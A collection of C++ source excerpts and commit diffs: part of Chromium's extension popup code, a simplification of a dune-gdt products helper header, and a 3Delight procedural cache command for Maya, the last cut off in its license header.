DevToolsManager::GetInstance()->ToggleDevToolsWindow(
extension_host_->render_view_host(), true);
}
}
break;
case NotificationType::EXTENSION_HOST_VIEW_SHOULD_CLOSE:
// If we aren't the host of the popup, then disregard the notification.
if (Details<ExtensionHost>(host()) != details)
return;
Close();
break;
case NotificationType::DEVTOOLS_WINDOW_CLOSING:
// Make sure its the devtools window that inspecting our popup.
if (Details<RenderViewHost>(extension_host_->render_view_host()) !=
details)
return;
// If the devtools window is closing, we post a task to ourselves to
// close the popup. This gives the devtools window a chance to finish
// detaching from the inspected RenderViewHost.
MessageLoop::current()->PostTask(FROM_HERE, NewRunnableMethod(this,
&ExtensionPopup::Close));
break;
default:
NOTREACHED() << L"Received unexpected notification";
}
}
void ExtensionPopup::OnExtensionPreferredSizeChanged(ExtensionView* view) {
// Constrain the size to popup min/max.
gfx::Size sz = view->GetPreferredSize();
view->SetBounds(view->x(), view->y(),
std::max(kMinWidth, std::min(kMaxWidth, sz.width())),
std::max(kMinHeight, std::min(kMaxHeight, sz.height())));
ResizeToView();
}
gfx::Rect ExtensionPopup::GetOuterBounds(const gfx::Rect& position_relative_to,
const gfx::Size& contents_size) const {
gfx::Size adjusted_size = contents_size;
// If the popup has a bubble-chrome, then let the BubbleBorder compute
// the bounds.
if (BUBBLE_CHROME == popup_chrome_) {
// The rounded corners cut off more of the view than the border insets
// claim. Since we can't clip the ExtensionView's corners, we need to
// increase the inset by half the corner radius as well as lying about the
// size of the contents size to compensate.
adjusted_size.Enlarge(2 * kPopupBubbleCornerRadius,
2 * kPopupBubbleCornerRadius);
return border_->GetBounds(position_relative_to, adjusted_size);
}
// Otherwise, enlarge the bounds by the size of the local border.
gfx::Insets border_insets;
view()->border()->GetInsets(&border_insets);
adjusted_size.Enlarge(border_insets.width(), border_insets.height());
// Position the bounds according to the location of the |anchor_position_|.
int y;
if ((anchor_position_ == BubbleBorder::TOP_LEFT) ||
(anchor_position_ == BubbleBorder::TOP_RIGHT)) {
y = position_relative_to.bottom();
} else {
y = position_relative_to.y() - adjusted_size.height();
}
return gfx::Rect(position_relative_to.x(), y, adjusted_size.width(),
adjusted_size.height());
}
// static
ExtensionPopup* ExtensionPopup::Show(
const GURL& url,
Browser* browser,
Profile* profile,
gfx::NativeWindow frame_window,
const gfx::Rect& relative_to,
BubbleBorder::ArrowLocation arrow_location,
bool activate_on_show,
bool inspect_with_devtools,
PopupChrome chrome,
Observer* observer) {
DCHECK(profile);
DCHECK(frame_window);
ExtensionProcessManager* manager = profile->GetExtensionProcessManager();
DCHECK(manager);
if (!manager)
return NULL;
// If no Browser instance was given, attempt to look up one matching the given
// profile.
if (!browser)
browser = BrowserList::FindBrowserWithProfile(profile);
Widget* frame_widget = Widget::GetWidgetFromNativeWindow(frame_window);
DCHECK(frame_widget);
if (!frame_widget)
return NULL;
ExtensionHost* host = manager->CreatePopup(url, browser);
if (observer)
observer->ExtensionHostCreated(host);
ExtensionPopup* popup = new ExtensionPopup(host, frame_widget, relative_to,
arrow_location, activate_on_show,
inspect_with_devtools, chrome,
observer);
// If the host had somehow finished loading, then we'd miss the notification
// and not show. This seems to happen in single-process mode.
if (host->did_stop_loading())
popup->Show(activate_on_show);
return popup;
}
void ExtensionPopup::Close() {
if (closing_)
return;
closing_ = true;
DetachFromBrowser();
if (observer_)
observer_->ExtensionPopupClosed(this);
Release(); // Balanced in ctor.
}
<|endoftext|>
|
<commit_before>// This file is part of the dune-gdt project:
// http://users.dune-project.org/projects/dune-gdt
// Copyright holders: Felix Schindler
// License: BSD 2-Clause License (http://opensource.org/licenses/BSD-2-Clause)
#ifndef DUNE_GDT_PRODUCTS_BASE_INTERNAL_HH
#define DUNE_GDT_PRODUCTS_BASE_INTERNAL_HH
#include <type_traits>
#include <dune/grid/common/gridview.hh>
#include <dune/stuff/functions/interfaces.hh>
#include <dune/stuff/grid/walker.hh>
#include <dune/gdt/assembler/local/codim0.hh>
#include <dune/gdt/assembler/local/codim1.hh>
#include <dune/gdt/localoperator/interface.hh>
#include <dune/gdt/spaces/interface.hh>
namespace Dune {
namespace GDT {
namespace Products {
// forward
template <class LocalOperatorProvider, class RangeImp, class SourceImp>
class LocalizableBase;
// forward
template <class LocalOperatorProvider, class MatrixImp, class RangeSpaceImp, class SourceSpaceImp>
class AssemblableBase;
// forward
template <class LocalOperatorProvider>
class GenericBase;
/**
* \brief Base class for all local operator providers.
*
* You have to derive a custom class LocalOperatorProvider from this class in order to use \sa LocalizableBase!
* All classes derived from this class have to provide the following types:
* - `GridViewType`
* - `FieldType`
* Depending on the type of local operator you want to use for the product (aka provide to LocalizableBase) you
* have to additionally implement (you can have zero or one local operator per type each):
* - if a local operator is derived from LocalOperator::Codim0Interface you have to provide the public type
* - `VolumeOperatorType`
* and you have to provide the public members
* - `static const bool has_volume_operator = true;`
* - `const VolumeOperatorType volume_operator_;
* If you want to restrict the entities the local operator will be applied on you have to additionally provide
* a method:
* - `DSG::ApplyOn::WhichEntity< GridViewType >* entities() const`
* See \sa Products::internal::WeightedL2Base in weightedl2-internal.hh for an example of a
* LocalOperatorProvider based on a local codim 0 operator.
* - if a local operator is derived from LocalOperator::Codim1BoundaryInterface you have to provide the public
* type
* - `BoundaryOperatorType`
* and you have to provide the public members
* - `static const bool has_boundary_operator = true;`
* - `const BoundaryOperatorType boundary_operator_;`
* If you want to restrict the intersections your the local operator will be applied on you have to
* additionally provide a method
* - `DSG::ApplyOn::WhichIntersections< GridViewType >* boundary_intersections() const`
* See \sa Products::internal::BoundaryL2Base in boundaryl2-internal.hh for an example of a
* LocalOperatorProvider based on a local codim 1 boundary operator.
*/
template <class GridViewType>
class LocalOperatorProviderBase
{
public:
static const bool has_volume_operator = false;
static const bool has_boundary_operator = false;
DSG::ApplyOn::AllEntities<GridViewType>* entities() const
{
return new DSG::ApplyOn::AllEntities<GridViewType>();
}
DSG::ApplyOn::BoundaryIntersections<GridViewType>* boundary_intersections() const
{
return new DSG::ApplyOn::BoundaryIntersections<GridViewType>();
}
}; // class LocalOperatorProviderBase
namespace internal {
/**
* \brief Helper class for \sa Products::LocalizableBase
*
* This class manages the creation of the appropriate functors needed to handle the local operators provided
* by any class derived from \sa LocalOperatorProviderBase.
* \note This class is usually not of interest to the average user.
*/
template <class LocalOperatorProvider, class RangeType, class SourceType>
class LocalizableBaseHelper
{
static_assert(std::is_base_of<LocalOperatorProviderBase<typename LocalOperatorProvider::GridViewType>,
LocalOperatorProvider>::value,
"LocalOperatorProvider has to be derived from LocalOperatorProviderBase!");
typedef typename LocalOperatorProvider::GridViewType GridViewType;
typedef typename LocalOperatorProvider::FieldType FieldType;
typedef Stuff::Grid::Walker<GridViewType> WalkerType;
template <class LO, bool anthing = false>
struct Volume
{
Volume(const GridViewType&, const LocalOperatorProvider&, const RangeType&, const SourceType&)
{
}
void add(WalkerType&)
{
}
FieldType result() const
{
return 0.0;
}
}; // struct Volume< ..., false >
template <class LO>
struct Volume<LO, true>
{
// if you get an error here you have defined has_volume_operator to true but either do not provide
// VolumeOperatorType or your VolumeOperatorType is not derived from LocalOperator::Codim0Interface
typedef typename LocalOperatorProvider::VolumeOperatorType LocalOperatorType;
typedef LocalAssembler::Codim0OperatorAccumulateFunctor<GridViewType, LocalOperatorType, RangeType, SourceType,
FieldType> FunctorType;
Volume(const GridViewType& grid_view, const LocalOperatorProvider& local_operators, const RangeType& range,
const SourceType& source)
: local_operators_(local_operators)
, functor_(grid_view, local_operators_.volume_operator_, range, source) // <- if you get an error here you have
{
} // defined has_volume_operator to true
// but do not provide volume_operator_
void add(WalkerType& grid_walker)
{
grid_walker.add(functor_, local_operators_.entities()); // <- if you get an error here you have defined
} // has_volume_operator to true but implemented the
// wrong entities()
FieldType result() const
{
return functor_.result();
}
const LocalOperatorProvider& local_operators_;
FunctorType functor_;
}; // struct Volume< ..., true >
template <class LO, bool anthing = false>
struct Boundary
{
Boundary(const GridViewType&, const LocalOperatorProvider&, const RangeType&, const SourceType&)
{
}
void add(WalkerType&)
{
}
FieldType result() const
{
return 0.0;
}
}; // struct Boundary< ..., false >
template <class LO>
struct Boundary<LO, true>
{
// if you get an error here you have defined has_boundary_operator to true but either do not provide
// BoundaryOperatorType or your BoundaryOperatorType is not derived from LocalOperator::Codim1BoundaryInterface
typedef typename LocalOperatorProvider::BoundaryOperatorType LocalOperatorType;
typedef LocalAssembler::Codim1BoundaryOperatorAccumulateFunctor<GridViewType, LocalOperatorType, RangeType,
SourceType, FieldType> FunctorType;
Boundary(const GridViewType& grid_view, const LocalOperatorProvider& local_operators, const RangeType& range,
const SourceType& source)
: local_operators_(local_operators)
, functor_(grid_view, local_operators_.boundary_operator_, range, source) // <- if you get an error here you have
{
} // defined has_boundary_operator to
// true but do not provide
// boundary_operator_
void add(WalkerType& grid_walker)
{
grid_walker.add(functor_, local_operators_.boundary_intersections()); // <- if you get an error here you have
} // defined has_boundary_operator to true
// but implemented the wrong
// boundary_intersections()
FieldType result() const
{
return functor_.result();
}
const LocalOperatorProvider& local_operators_;
FunctorType functor_;
}; // struct Boundary< ..., true >
public:
LocalizableBaseHelper(WalkerType& walker, const LocalOperatorProvider& local_operators, const RangeType& range,
const SourceType& source)
: volume_helper_(walker.grid_view(), local_operators, range, source)
, boundary_helper_(walker.grid_view(), local_operators, range, source)
{
volume_helper_.add(walker);
boundary_helper_.add(walker);
}
FieldType result() const
{
return volume_helper_.result() + boundary_helper_.result();
}
private:
Volume<LocalOperatorProvider, LocalOperatorProvider::has_volume_operator> volume_helper_;
Boundary<LocalOperatorProvider, LocalOperatorProvider::has_boundary_operator> boundary_helper_;
}; // class LocalizableBaseHelper
/**
* \note not of interest to the average user
*/
template <class LocalOperatorProvider, class RangeImp, class SourceImp>
class LocalizableBaseTraits
{
public:
typedef LocalizableBase<LocalOperatorProvider, RangeImp, SourceImp> derived_type;
typedef typename LocalOperatorProvider::GridViewType GridViewType;
typedef typename LocalOperatorProvider::FieldType FieldType;
typedef RangeImp RangeType;
typedef SourceImp SourceType;
private:
static_assert(std::is_base_of<Dune::GridView<typename GridViewType::Traits>, GridViewType>::value,
"GridViewType has to be derived from GridView!");
static_assert(std::is_base_of<Stuff::Tags::LocalizableFunction, RangeType>::value,
"RangeType has to be derived from Stuff::LocalizableFunctionInterface!");
static_assert(std::is_base_of<Stuff::Tags::LocalizableFunction, SourceType>::value,
"SourceType has to be derived from Stuff::LocalizableFunctionInterface!");
}; // class LocalizableBaseTraits
/**
* \note not of interest to the average user
*/
template <class LocalOperatorProvider, class MatrixImp, class RangeSpaceImp, class SourceSpaceImp>
class AssemblableBaseTraits
{
public:
typedef AssemblableBase<LocalOperatorProvider, MatrixImp, RangeSpaceImp, SourceSpaceImp> derived_type;
typedef typename LocalOperatorProvider::GridViewType GridViewType;
typedef RangeSpaceImp RangeSpaceType;
typedef SourceSpaceImp SourceSpaceType;
typedef MatrixImp MatrixType;
private:
static_assert(std::is_base_of<Dune::GridView<typename GridViewType::Traits>, GridViewType>::value,
"GridViewType has to be derived from GridView!");
static_assert(std::is_base_of<SpaceInterface<typename RangeSpaceType::Traits>, RangeSpaceType>::value,
"RangeSpaceType has to be derived from SpaceInterface!");
static_assert(std::is_base_of<SpaceInterface<typename SourceSpaceType::Traits>, SourceSpaceType>::value,
"SourceSpaceType has to be derived from SpaceInterface!");
static_assert(std::is_base_of<Stuff::LA::MatrixInterface<typename MatrixType::Traits>, MatrixType>::value,
"MatrixType has to be derived from Stuff::LA::MatrixInterface!");
}; // class AssemblableBaseTraits
/**
* \note not of interest to the average user
*/
template <class LocalOperatorProvider>
class GenericBaseTraits
{
public:
typedef GenericBase<LocalOperatorProvider> derived_type;
typedef typename LocalOperatorProvider::FieldType FieldType;
typedef typename LocalOperatorProvider::GridViewType GridViewType;
private:
static_assert(std::is_base_of<Dune::GridView<typename GridViewType::Traits>, GridViewType>::value,
"GridViewType has to be derived from GridView!");
}; // class GenericBaseTraits
} // namespace internal
} // namespace Products
} // namespace GDT
} // namespace Dune
#endif // DUNE_GDT_PRODUCTS_BASE_INTERNAL_HH
<commit_msg>[products.base] simplified LocalizableBaseHelper<commit_after>// This file is part of the dune-gdt project:
// http://users.dune-project.org/projects/dune-gdt
// Copyright holders: Felix Schindler
// License: BSD 2-Clause License (http://opensource.org/licenses/BSD-2-Clause)
#ifndef DUNE_GDT_PRODUCTS_BASE_INTERNAL_HH
#define DUNE_GDT_PRODUCTS_BASE_INTERNAL_HH
#include <type_traits>
#include <dune/grid/common/gridview.hh>
#include <dune/stuff/functions/interfaces.hh>
#include <dune/stuff/grid/walker.hh>
#include <dune/gdt/assembler/local/codim0.hh>
#include <dune/gdt/assembler/local/codim1.hh>
#include <dune/gdt/localoperator/interface.hh>
#include <dune/gdt/spaces/interface.hh>
namespace Dune {
namespace GDT {
namespace Products {
// forward
template <class LocalOperatorProvider, class RangeImp, class SourceImp>
class LocalizableBase;
// forward
template <class LocalOperatorProvider, class MatrixImp, class RangeSpaceImp, class SourceSpaceImp>
class AssemblableBase;
// forward
template <class LocalOperatorProvider>
class GenericBase;
/**
* \brief Base class for all local operator providers.
*
* You have to derive a custom class LocalOperatorProvider from this class in order to use \sa LocalizableBase!
* All classes derived from this class have to provide the following types:
* - `GridViewType`
* - `FieldType`
* Depending on the type of local operator you want to use for the product (aka provide to LocalizableBase) you
* have to additionally implement (you can have zero or one local operator per type each):
* - if a local operator is derived from LocalOperator::Codim0Interface you have to provide the public type
* - `VolumeOperatorType`
* and you have to provide the public members
* - `static const bool has_volume_operator = true;`
* - `const VolumeOperatorType volume_operator_;
* If you want to restrict the entities the local operator will be applied on you have to additionally provide
* a method:
* - `DSG::ApplyOn::WhichEntity< GridViewType >* entities() const`
* See \sa Products::internal::WeightedL2Base in weightedl2-internal.hh for an example of a
* LocalOperatorProvider based on a local codim 0 operator.
* - if a local operator is derived from LocalOperator::Codim1BoundaryInterface you have to provide the public
* type
* - `BoundaryOperatorType`
* and you have to provide the public members
* - `static const bool has_boundary_operator = true;`
* - `const BoundaryOperatorType boundary_operator_;`
* If you want to restrict the intersections your the local operator will be applied on you have to
* additionally provide a method
* - `DSG::ApplyOn::WhichIntersections< GridViewType >* boundary_intersections() const`
* See \sa Products::internal::BoundaryL2Base in boundaryl2-internal.hh for an example of a
* LocalOperatorProvider based on a local codim 1 boundary operator.
*/
template <class GridViewType>
class LocalOperatorProviderBase
{
public:
static const bool has_volume_operator = false;
static const bool has_boundary_operator = false;
DSG::ApplyOn::AllEntities<GridViewType>* entities() const
{
return new DSG::ApplyOn::AllEntities<GridViewType>();
}
DSG::ApplyOn::BoundaryIntersections<GridViewType>* boundary_intersections() const
{
return new DSG::ApplyOn::BoundaryIntersections<GridViewType>();
}
}; // class LocalOperatorProviderBase
namespace internal {
/**
* \brief Helper class for \sa Products::LocalizableBase
*
* This class manages the creation of the appropriate functors needed to handle the local operators provided
* by any class derived from \sa LocalOperatorProviderBase.
* \note This class is usually not of interest to the average user.
*/
template <class LocalOperatorProvider, class RangeType, class SourceType>
class LocalizableBaseHelper
{
static_assert(std::is_base_of<LocalOperatorProviderBase<typename LocalOperatorProvider::GridViewType>,
LocalOperatorProvider>::value,
"LocalOperatorProvider has to be derived from LocalOperatorProviderBase!");
typedef typename LocalOperatorProvider::GridViewType GridViewType;
typedef typename LocalOperatorProvider::FieldType FieldType;
typedef Stuff::Grid::Walker<GridViewType> WalkerType;
template <class LO, bool anthing = false>
struct Volume
{
Volume(WalkerType&, const LocalOperatorProvider&, const RangeType&, const SourceType&)
{
}
FieldType result() const
{
return 0.0;
}
}; // struct Volume< ..., false >
template <class LO>
struct Volume<LO, true>
{
// if you get an error here you have defined has_volume_operator to true but either do not provide
// VolumeOperatorType
typedef typename LocalOperatorProvider::VolumeOperatorType LocalOperatorType;
// or your VolumeOperatorType is not derived from LocalOperator::Codim0Interface
typedef LocalAssembler::Codim0OperatorAccumulateFunctor<GridViewType, LocalOperatorType, RangeType, SourceType,
FieldType> FunctorType;
Volume(WalkerType& grid_walker, const LocalOperatorProvider& local_operators, const RangeType& range,
const SourceType& source)
: functor_(grid_walker.grid_view(),
local_operators.volume_operator_, // <- if you get an error here you have defined has_volume_operator
range, // to true but do not provide volume_operator_
source)
{
grid_walker.add(functor_, local_operators.entities()); // <- if you get an error here you have defined
} // has_volume_operator to true but implemented the
// wrong entities()
FieldType result() const
{
return functor_.result();
}
FunctorType functor_;
}; // struct Volume< ..., true >
template <class LO, bool anthing = false>
struct Boundary
{
Boundary(WalkerType&, const LocalOperatorProvider&, const RangeType&, const SourceType&)
{
}
FieldType result() const
{
return 0.0;
}
}; // struct Boundary< ..., false >
template <class LO>
struct Boundary<LO, true>
{
// if you get an error here you have defined has_boundary_operator to true but either do not provide
// BoundaryOperatorType
typedef typename LocalOperatorProvider::BoundaryOperatorType LocalOperatorType;
// or your BoundaryOperatorType is not derived from LocalOperator::Codim1BoundaryInterface
typedef LocalAssembler::Codim1BoundaryOperatorAccumulateFunctor<GridViewType, LocalOperatorType, RangeType,
SourceType, FieldType> FunctorType;
Boundary(WalkerType& walker, const LocalOperatorProvider& local_operators, const RangeType& range,
const SourceType& source)
: functor_(walker.grid_view(),
local_operators.boundary_operator_, // <- if you get an error here you have defined
range, // has_boundary_operator to true but do not provide
source) // boundary_operator_
{
walker.add(functor_, local_operators.boundary_intersections()); // <- if you get an error here you have defined
} // has_boundary_operator to true but
// implemented the wrong
// boundary_intersections()
FieldType result() const
{
return functor_.result();
}
FunctorType functor_;
}; // struct Boundary< ..., true >
public:
LocalizableBaseHelper(WalkerType& walker, const LocalOperatorProvider& local_operators, const RangeType& range,
const SourceType& source)
: volume_helper_(walker, local_operators, range, source)
, boundary_helper_(walker, local_operators, range, source)
{
}
FieldType result() const
{
return volume_helper_.result() + boundary_helper_.result();
}
private:
Volume<LocalOperatorProvider, LocalOperatorProvider::has_volume_operator> volume_helper_;
Boundary<LocalOperatorProvider, LocalOperatorProvider::has_boundary_operator> boundary_helper_;
}; // class LocalizableBaseHelper
/**
* \note not of interest to the average user
*/
template <class LocalOperatorProvider, class RangeImp, class SourceImp>
class LocalizableBaseTraits
{
public:
typedef LocalizableBase<LocalOperatorProvider, RangeImp, SourceImp> derived_type;
typedef typename LocalOperatorProvider::GridViewType GridViewType;
typedef typename LocalOperatorProvider::FieldType FieldType;
typedef RangeImp RangeType;
typedef SourceImp SourceType;
private:
static_assert(std::is_base_of<Dune::GridView<typename GridViewType::Traits>, GridViewType>::value,
"GridViewType has to be derived from GridView!");
static_assert(std::is_base_of<Stuff::Tags::LocalizableFunction, RangeType>::value,
"RangeType has to be derived from Stuff::LocalizableFunctionInterface!");
static_assert(std::is_base_of<Stuff::Tags::LocalizableFunction, SourceType>::value,
"SourceType has to be derived from Stuff::LocalizableFunctionInterface!");
}; // class LocalizableBaseTraits
/**
* \note not of interest to the average user
*/
template <class LocalOperatorProvider, class MatrixImp, class RangeSpaceImp, class SourceSpaceImp>
class AssemblableBaseTraits
{
public:
typedef AssemblableBase<LocalOperatorProvider, MatrixImp, RangeSpaceImp, SourceSpaceImp> derived_type;
typedef typename LocalOperatorProvider::GridViewType GridViewType;
typedef RangeSpaceImp RangeSpaceType;
typedef SourceSpaceImp SourceSpaceType;
typedef MatrixImp MatrixType;
private:
static_assert(std::is_base_of<Dune::GridView<typename GridViewType::Traits>, GridViewType>::value,
"GridViewType has to be derived from GridView!");
static_assert(std::is_base_of<SpaceInterface<typename RangeSpaceType::Traits>, RangeSpaceType>::value,
"RangeSpaceType has to be derived from SpaceInterface!");
static_assert(std::is_base_of<SpaceInterface<typename SourceSpaceType::Traits>, SourceSpaceType>::value,
"SourceSpaceType has to be derived from SpaceInterface!");
static_assert(std::is_base_of<Stuff::LA::MatrixInterface<typename MatrixType::Traits>, MatrixType>::value,
"MatrixType has to be derived from Stuff::LA::MatrixInterface!");
}; // class AssemblableBaseTraits
/**
* \note not of interest to the average user
*/
template <class LocalOperatorProvider>
class GenericBaseTraits
{
public:
typedef GenericBase<LocalOperatorProvider> derived_type;
typedef typename LocalOperatorProvider::FieldType FieldType;
typedef typename LocalOperatorProvider::GridViewType GridViewType;
private:
static_assert(std::is_base_of<Dune::GridView<typename GridViewType::Traits>, GridViewType>::value,
"GridViewType has to be derived from GridView!");
}; // class GenericBaseTraits
} // namespace internal
} // namespace Products
} // namespace GDT
} // namespace Dune
#endif // DUNE_GDT_PRODUCTS_BASE_INTERNAL_HH
<|endoftext|>
|
<commit_before><commit_msg>debugging assert about unsorted properties on loading ooo59216-14.ods<commit_after><|endoftext|>
|
<commit_before>//////////////////////////////////////////////////////////////////////////
//
// Copyright (c) 2009-2010, Image Engine Design Inc. All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright
// notice, this list of conditions and the following disclaimer in the
// documentation and/or other materials provided with the distribution.
//
// * Neither the name of Image Engine Design nor the names of any
// other contributors to this software may be used to endorse or
// promote products derived from this software without specific prior
// written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
// IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
// THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
// PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
// EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
// PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
// PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
// LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
// NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//
//////////////////////////////////////////////////////////////////////////
#include "boost/python.hpp"
#include "boost/format.hpp"
#include "maya/MSyntax.h"
#include "maya/MArgParser.h"
#include "maya/MStringArray.h"
#include "maya/MFnDagNode.h"
#include "maya/MSelectionList.h"
#include "IECore/CompoundParameter.h"
#include "IECore/AttributeBlock.h"
#include "IECoreRI/Renderer.h"
#include "IECoreRI/Convert.h"
#include "IECoreMaya/DelightProceduralCacheCommand.h"
#include "IECoreMaya/ProceduralHolder.h"
#include "IECoreMaya/PythonCmd.h"
#include "IECoreMaya/Convert.h"
#include "ri.h"
#define STRINGIFY( ARG ) STRINGIFY2( ARG )
#define STRINGIFY2( ARG ) #ARG
using namespace boost::python;
using namespace IECoreMaya;
DelightProceduralCacheCommand::ProceduralMap DelightProceduralCacheCommand::g_procedurals;
DelightProceduralCacheCommand::DelightProceduralCacheCommand()
{
}
DelightProceduralCacheCommand::~DelightProceduralCacheCommand()
{
}
void *DelightProceduralCacheCommand::creator()
{
return new DelightProceduralCacheCommand;
}
MSyntax DelightProceduralCacheCommand::newSyntax()
{
MSyntax syn;
MStatus s;
s = syn.addFlag( "-a", "-addstep" );
assert(s);
s = syn.addFlag( "-e", "-emit" );
assert(s);
s = syn.addFlag( "-f", "-flush" );
assert(s);
s = syn.addFlag( "-r", "-remove" );
assert(s);
s = syn.addFlag( "-l", "-list" );
assert(s);
s = syn.addFlag( "-st", "-sampleTime", MSyntax::kDouble );
assert(s);
syn.setObjectType( MSyntax::kStringObjects );
return syn;
}
MStatus DelightProceduralCacheCommand::doIt( const MArgList &args )
{
MArgParser parser( syntax(), args );
MStatus s;
if( parser.isFlagSet( "-a" ) )
{
MStringArray objectNames;
s = parser.getObjects( objectNames );
if( !s || objectNames.length()!=1 )
{
displayError( "DelightProceduralCacheCommand::doIt : unable to get object name argument." );
return s;
}
MSelectionList sel;
sel.add( objectNames[0] );
MObject oDepNode;
s = sel.getDependNode( 0, oDepNode );
if( !s )
{
displayError( "DelightProceduralCacheCommand::doIt : unable to get dependency node for \"" + objectNames[0] + "\"." );
return s;
}
MFnDagNode fnDagNode( oDepNode );
IECoreMaya::ProceduralHolder *pHolder = dynamic_cast<IECoreMaya::ProceduralHolder *>( fnDagNode.userNode() );
if( !pHolder )
{
displayError( "DelightProceduralCacheCommand::doIt : \"" + objectNames[0] + "\" is not a procedural holder node." );
return MStatus::kFailure;
}
ProceduralMap::iterator pIt = g_procedurals.find( objectNames[0].asChar() );
if( pIt!=g_procedurals.end() )
{
// we already got the procedural on the first sample, but we should expand the bounding box for this sample
pIt->second.bound.extendBy( IECore::convert<Imath::Box3f>( fnDagNode.boundingBox() ) );
return MStatus::kSuccess;
}
else
{
pHolder->setParameterisedValues();
CachedProcedural cachedProcedural;
cachedProcedural.procedural = pHolder->getProcedural( &cachedProcedural.className, &cachedProcedural.classVersion );
if( !cachedProcedural.procedural )
{
displayError( "DelightProceduralCacheCommand::doIt : failed to get procedural from \"" + objectNames[0] + "\"." );
return MStatus::kFailure;
}
cachedProcedural.bound = IECore::convert<Imath::Box3f>( fnDagNode.boundingBox() );
IECore::ObjectPtr values = cachedProcedural.procedural->parameters()->getValue();
if( !values )
{
displayError( "DelightProceduralCacheCommand::doIt : failed to get parameter values from \"" + objectNames[0] + "\"." );
return MStatus::kFailure;
}
cachedProcedural.values = values->copy();
g_procedurals[objectNames[0].asChar()] = cachedProcedural;
}
return MStatus::kSuccess;
}
else if( parser.isFlagSet( "-l" ) )
{
MStringArray result;
for( ProceduralMap::const_iterator it=g_procedurals.begin(); it!=g_procedurals.end(); it++ )
{
result.append( it->first.c_str() );
}
setResult( result );
return MStatus::kSuccess;
}
else if( parser.isFlagSet( "-e" ) )
{
// get the object name
MStringArray objectNames;
s = parser.getObjects( objectNames );
if( !s || objectNames.length()!=1 )
{
displayError( "DelightProceduralCacheCommand::doIt : unable to get object name argument." );
return s;
}
// get the cached procedural
ProceduralMap::const_iterator it = g_procedurals.find( objectNames[0].asChar() );
if( it==g_procedurals.end() )
{
displayError( "DelightProceduralCacheCommand::doIt : unable to emit \"" + objectNames[0] + "\" as object has not been cached." );
return MS::kFailure;
}
// and output it
try
{
IECore::ObjectPtr currentValues = it->second.procedural->parameters()->getValue();
it->second.procedural->parameters()->setValue( it->second.values );
std::string pythonString;
try
{
// we first get an object referencing the serialise result and then make an extractor for it.
// making the extractor directly from the return of the serialise call seems to result
// in the python object dying before we properly extract the value, which results in corrupted
// strings, and therefore malformed ribs.
object serialisedResultObject = PythonCmd::globalContext()["IECore"].attr("ParameterParser")().attr("serialise")( it->second.procedural->parameters() );
object serialisedResultStringObject = serialisedResultObject.attr( "__str__" )();
extract<std::string> serialisedResultExtractor( serialisedResultStringObject );
std::string serialisedParameters = serialisedResultExtractor();
pythonString = boost::str( boost::format( "IECoreRI.executeProcedural( \"%s\", %d, %s )" ) % it->second.className % it->second.classVersion % serialisedParameters );
}
catch( ... )
{
// Make sure we don't lose the 'current' values if we except.
it->second.procedural->parameters()->setValue( currentValues );
displayError( "DelightProceduralCacheCommand::doIt : could not get parameters from \"" + objectNames[0] + "\"." );
return MStatus::kFailure;
}
// Put the current values back.
it->second.procedural->parameters()->setValue( currentValues );
if( it->second.bound.isEmpty() )
{
displayWarning( "DelightProceduralCacheCommand::doIt : not outputting procedural \"" + objectNames[0] + "\" because it has an empty bounding box." );
return MS::kSuccess;
}
RtBound rtBound;
IECore::convert( it->second.bound, rtBound );
IECore::RendererPtr renderer = new IECoreRI::Renderer();
IECore::AttributeBlock attributeBlock( renderer, 1 );
it->second.procedural->render( renderer.get(), false, true, false, false );
// tell 3delight we can't run multiple python procedurals concurrently
int zero = 0;
RiAttribute( "procedural", "integer reentrant", &zero, 0 );
const char **data = (const char **)malloc( sizeof( char * ) * 2 );
data[0] = STRINGIFY( IECORERI_RMANPROCEDURAL_NAME );
data[1] = pythonString.c_str();
RiProcedural( data, rtBound, RiProcDynamicLoad, RiProcFree );
}
catch( error_already_set )
{
PyErr_Print();
displayError( "DelightProceduralCacheCommand::doIt : failed to output procedural for \"" + objectNames[0] + "\"." );
return MStatus::kFailure;
}
catch( ... )
{
displayError( "DelightProceduralCacheCommand::doIt : failed to output procedural for \"" + objectNames[0] + "\"." );
return MStatus::kFailure;
}
return MStatus::kSuccess;
}
else if( parser.isFlagSet( "-r" ) )
{
MStringArray objectNames;
s = parser.getObjects( objectNames );
if( !s || objectNames.length()!=1 )
{
displayError( "DelightProceduralCacheCommand::doIt : unable to get object name argument." );
return s;
}
g_procedurals.erase( objectNames[0].asChar() );
return MStatus::kSuccess;
}
else if( parser.isFlagSet( "-f" ) )
{
g_procedurals.clear();
return MStatus::kSuccess;
}
displayError( "DelightProceduralCacheCommand::doIt : No suitable flag specified." );
return MS::kFailure;
}
<commit_msg>Removed 'reentrant 0' for procedurals.<commit_after>//////////////////////////////////////////////////////////////////////////
//
// Copyright (c) 2009-2010, Image Engine Design Inc. All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright
// notice, this list of conditions and the following disclaimer in the
// documentation and/or other materials provided with the distribution.
//
// * Neither the name of Image Engine Design nor the names of any
// other contributors to this software may be used to endorse or
// promote products derived from this software without specific prior
// written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
